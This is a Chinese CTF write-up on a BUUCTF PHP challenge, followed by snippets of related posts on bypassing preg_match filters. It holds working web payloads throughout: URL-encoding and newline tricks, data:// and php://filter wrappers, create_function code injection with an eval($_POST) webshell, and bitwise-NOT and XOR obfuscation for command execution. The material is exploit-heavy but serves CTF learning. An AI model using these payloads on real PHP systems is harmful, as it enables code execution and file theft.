精华内容
下载资源
问答
  • } sha1函数对数组返回为false,故可以构造数组绕过:payload为: shana[]=12&passwd[]=56 第六步(重点) if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|...

    打开链接之后发现页面为:
    在这里插入图片描述
    右击查看不了源码,按F12查看源码得到
    在这里插入图片描述
    GFXEIM3YFZYGQ4A= 使用base64,base32与base16一个一个试,得知是base32,解密之后为:1nD3x.php,之后在url上输入查看得到代码:

      <?php
    highlight_file(__FILE__);
    error_reporting(0); 
    
    $file = "1nD3x.php";
    $shana = $_GET['shana'];
    $passwd = $_GET['passwd'];
    $arg = '';
    $code = '';
    
    echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
    
    if($_SERVER) { 
        if (
            preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
            )  
            die('You seem to want to do something bad?'); 
    }
    
    if (!preg_match('/http|https/i', $_GET['file'])) {
        if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
            $file = $_GET["file"]; 
            echo "Neeeeee! Good Job!<br>";
        } 
    } else die('fxck you! What do you want to do ?!');
    
    if($_REQUEST) { 
        foreach($_REQUEST as $value) { 
            if(preg_match('/[a-zA-Z]/i', $value))  
                die('fxck you! I hate English!'); 
        } 
    } 
    
    if (file_get_contents($file) !== 'debu_debu_aqua')
        die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
    
    
    if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
        extract($_GET["flag"]);
        echo "Very good! you know my password. But what is flag?<br>";
    } else{
        die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
    }
    
    if(preg_match('/^[a-z0-9]*$/isD', $code) || 
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
        die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
    } else { 
        include "flag.php";
        $code('', $arg); 
    } ?>
    

    第一步:

    if($_SERVER) { 
        if (
            preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
            )  
            die('You seem to want to do something bad?'); 
    }
    

    需要绕过$_SERVER['QUERY_STRING']的过滤,因为$_SERVER['QUERY_STRING']不会对url解码进行,$_GET会进行url解码,故可以用urlecode进行编码绕过
    第二步:

    if (!preg_match('/http|https/i', $_GET['file'])) {
        if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
            $file = $_GET["file"]; 
            echo "Neeeeee! Good Job!<br>";
        } 
    } else die('fxck you! What do you want to do ?!');
    

    过滤了https与http,但是使用的是preg_match(’/^$/’),我们可以用用换行符%0a绕过,payload为:

    debu=aqua_is_cute%0a
    

    第三步:

    if($_REQUEST) { 
        foreach($_REQUEST as $value) { 
            if(preg_match('/[a-zA-Z]/i', $value))  
                die('fxck you! I hate English!'); 
        } 
    } 
    

    $_REQUEST绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高,先接受post参数。
    故构造post传参:

    
    

    第四步:

    if (file_get_contents($file) !== 'debu_debu_aqua')
        die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
    

    可以使用data或者php://input进行绕过;

    file=data://text/plain,debu_debu_aqua,后面部分进行url编码的:
    file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
    

    第五步:

    if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
        extract($_GET["flag"]);
        echo "Very good! you know my password. But what is flag?<br>";
    } else{
        die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
    }
    

    sha1函数对数组返回为false,故可以构造数组绕过:payload为:

    shana[]=12&passwd[]=56
    

    第六步(重点)

    if(preg_match('/^[a-z0-9]*$/isD', $code) || 
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
        die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
    } else { 
        include "flag.php";
        $code('', $arg); 
    } ?>
    
    $code$arg可控,利用$code('',$arg)进行create_function注入
    function a('',$arg){
        return $arg
    }
    例子:
    但是如果第二个参数没有限制的话,如$code=return $a+$b;}eval($_POST['cmd']);//,就变成
    
    function myfunc($a, $b){
    	return $a+$b;
    }
    eval($_POST['cmd']);//}
    
    <?php
    $myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST["a"]);\\')
    实际上为:
    function myFunc($a, $b)
    { return $a+$b; } 
    eval($_POST['a']);//}
    

    利用取反绕过+伪协议读源码

    构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//查看所有变量,注意这里的code,flag,arg需要进行url编码。
    最终payload为:

    http://44416704-ec7d-4081-81fe-ce665b3a450a.node4.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
    
    post部分为:
    debu=1&file=1
    

    在这里插入图片描述
    出现上图所示,看到flag在rea1fl4g.php之中,利用取反代码

    $a = "php://filter/read=convert.base64-encode/resource=rea1fl4g.php";
    $arr1 = explode(' ', $a);
    echo "<br>~(";
    foreach ($arr1 as $key => $value) {
    	echo "%".bin2hex(~$value);
    }
    echo ")<br>";
    

    得到

    ~(%8f978fc5d0d09996938b9a8dd08d9a9e9bc29c9091899a8d8bd19d9e8c9ac9cbd29a919c909b9ad08d9a8c908a8d9c9ac28d9a9ece9993cb98d18f978f)
    经过处理之后为:
    ~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)
    

    把var_dump(get_defined_vars())替换为require()最终payload为:

    http://44416704-ec7d-4081-81fe-ce665b3a450a.node4.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
    
    post传参部分为
    debu=1&file=1
    

    得到base64编码
    在这里插入图片描述
    解密得到flag
    另一种解法用异或这里没有实现。

    展开全文
  • RCE和preg_match绕过

    2021-09-29 19:43:49
    无法与换行进行匹配,所以我们这里考虑用换行进行绕过换行符%0A。?cmd={%0A"cmd":%20"ls%20/home/rceservice"%0A}看看这个目录下有什么 发现flag在这个目录下 由于前面putenv('PATH=/home/rceservice/jail');所以...

    首先以题为例

     进来后是这个界面

    题目告诉我们用json格式所以我们输入{"cmd":"ls"}查看有啥文件

    发现有index.php这个文件里面有源码,这个题目一开始是就给了源码

    <?php

    putenv('PATH=/home/rceservice/jail');

    if (isset($_REQUEST['cmd'])) {
      $json = $_REQUEST['cmd'];

      if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
      } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
      } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
          system($cmd);
        } else {
          echo 'Invalid input';
        }
        echo '<br/><br/>';
      }
    }

    ?>
    对源码进行分析发现他用preg_match对一些命令函数进行了过滤,过滤的函数还挺多。但是preg_match只能匹配第一行的数据,并且.无法与换行进行匹配,所以我们这里考虑用换行进行绕过换行符%0A。?cmd={%0A"cmd":%20"ls%20/home/rceservice"%0A}看看这个目录下有什么

    发现flag在这个目录下

     由于前面putenv('PATH=/home/rceservice/jail');所以我们不能用相对路径,必须用绝对路径

    ?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

    最后读取成功 

    展开全文
  • [FBCTF2019]RCEService——preg_match绕过

    千次阅读 2020-05-25 21:01:35
    1、%0A绕过 类似于preg_match("/^.*flag.*$/",$cmd)这种的正则匹配,默认只匹配第一行 ?cmd=%0acat flag即可绕过 2、PCRE回溯次数限制绕过 当正则匹配回溯次数超过上限时将返回false 常规方法: 数组绕过 preg_match...

    题目中的两种方法:
    1、%0A绕过
    类似于preg_match("/^.*flag.*$/",$cmd)这种的正则匹配,默认只匹配第一行
    ?cmd=%0acat flag即可绕过

    2、PCRE回溯次数限制绕过
    当正则匹配回溯次数超过上限时将返回false

    常规方法:
    数组绕过
    preg_match只能处理字符串,当传入的是数组时将会返回false。

    展开全文
  • preg_match函数绕过

    2021-05-17 22:52:54
    <?...error_reporting(0); if(!isset($_GET['code']))... if(preg_match("/[A-Za-z0-9_$@]+/",$code)){ die('fighting!'); } eval($code); } 1.绕过数字和字母 首先,我们常见的CTF题代码如下,主要是绕过数字和字
    <?php
    error_reporting(0);
    if(!isset($_GET['code'])){
        highlight_file(__FILE__);
    }else{
        $code = $_GET['code'];
        if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
            die('fighting!'); 
        }
        eval($code);
    }
    

    1.绕过数字和字母

    首先,我们常见的CTF题代码如下,主要是绕过数字和字母。

    1.绕过 preg_match("/[A-Za-z0-9]+/",$code)

    在这里插入图片描述

    上面这段代码绕过方法如下:

    要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接一个函数,然后执行这个函数getshell。

    在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

    展开全文
  • preg_match()绕过: 1.正则(pcre)最大回溯/递归限制 2.数组绕过 preg_match只能处理字符串,当传入的subject是数组时会返回false 3.%0a换行绕过 其实是正则书写不当 (1).不会匹配换行符 (2)非多行模式 putenv()...
  • php下如何绕过if(!preg_match("/`|<|>|*|"|?|%|sess.*|eval|flag|system|php|cat|sort|shell|.| |'/i", $c))
  • 某变态CTF比赛绕过preg_match

    千次阅读 2019-12-20 17:38:44
    在圈子中看到了有表哥发变态CTF中preg_match绕过的姿势,并没有写绕过的具体原理及方法,本着学习的态度,查了查资料简单复现了一下。 0x00 题目原型是这样的 测试环境 php7.0.12 apache5.3 <?php highlight_file...
  • preg_match函数,正则匹配绕过

    万次阅读 2018-12-27 16:21:10
    以ichunqiu欢乐赛为例子 1.通过.swp 文件恢复出php脚本 vi index.php.swp recover 2.第一关源码为 ... return preg_match('/Merry.*Christmas/is',$greeting); } $greeting=@$_POST['greetin...
  • PHP - 函数绕过 - preg_match()

    万次阅读 2018-11-29 15:04:40
      待绕过目标如下 &lt;?php echo preg_match('/&lt;\?.*[(`;?&gt;].*/is', $_GET['a']); 最常见的绕过 数组 http://localhost/?a...
  • 绕过preg_match("/[A-Za-z0-9]+/",$code)

    千次阅读 2019-10-16 15:50:28
    绕过不是英文字母,不是数字的验证。 preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int preg_match()返回 pattern 的匹配次数。 它...
  • preg_match函数定义与用法: 企业级理解: preg_match —— 执行匹配正则表达式 语法 int preg_match ( string $pattern , string KaTeX parse error: Expected 'EOF', got '&' at position 18: …bject [, ...
  • <p>I cannot get pregmatch to accept single(') or double (") quotes. I am attempting this in php the pattern is located in a "textarea."</p> <p>I would like to allow both quote types but neither are ...
  • 前言: 绕过file_get_contents 绕过preg_mach 解题:

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,348
精华内容 1,339
关键字:

preg_match绕过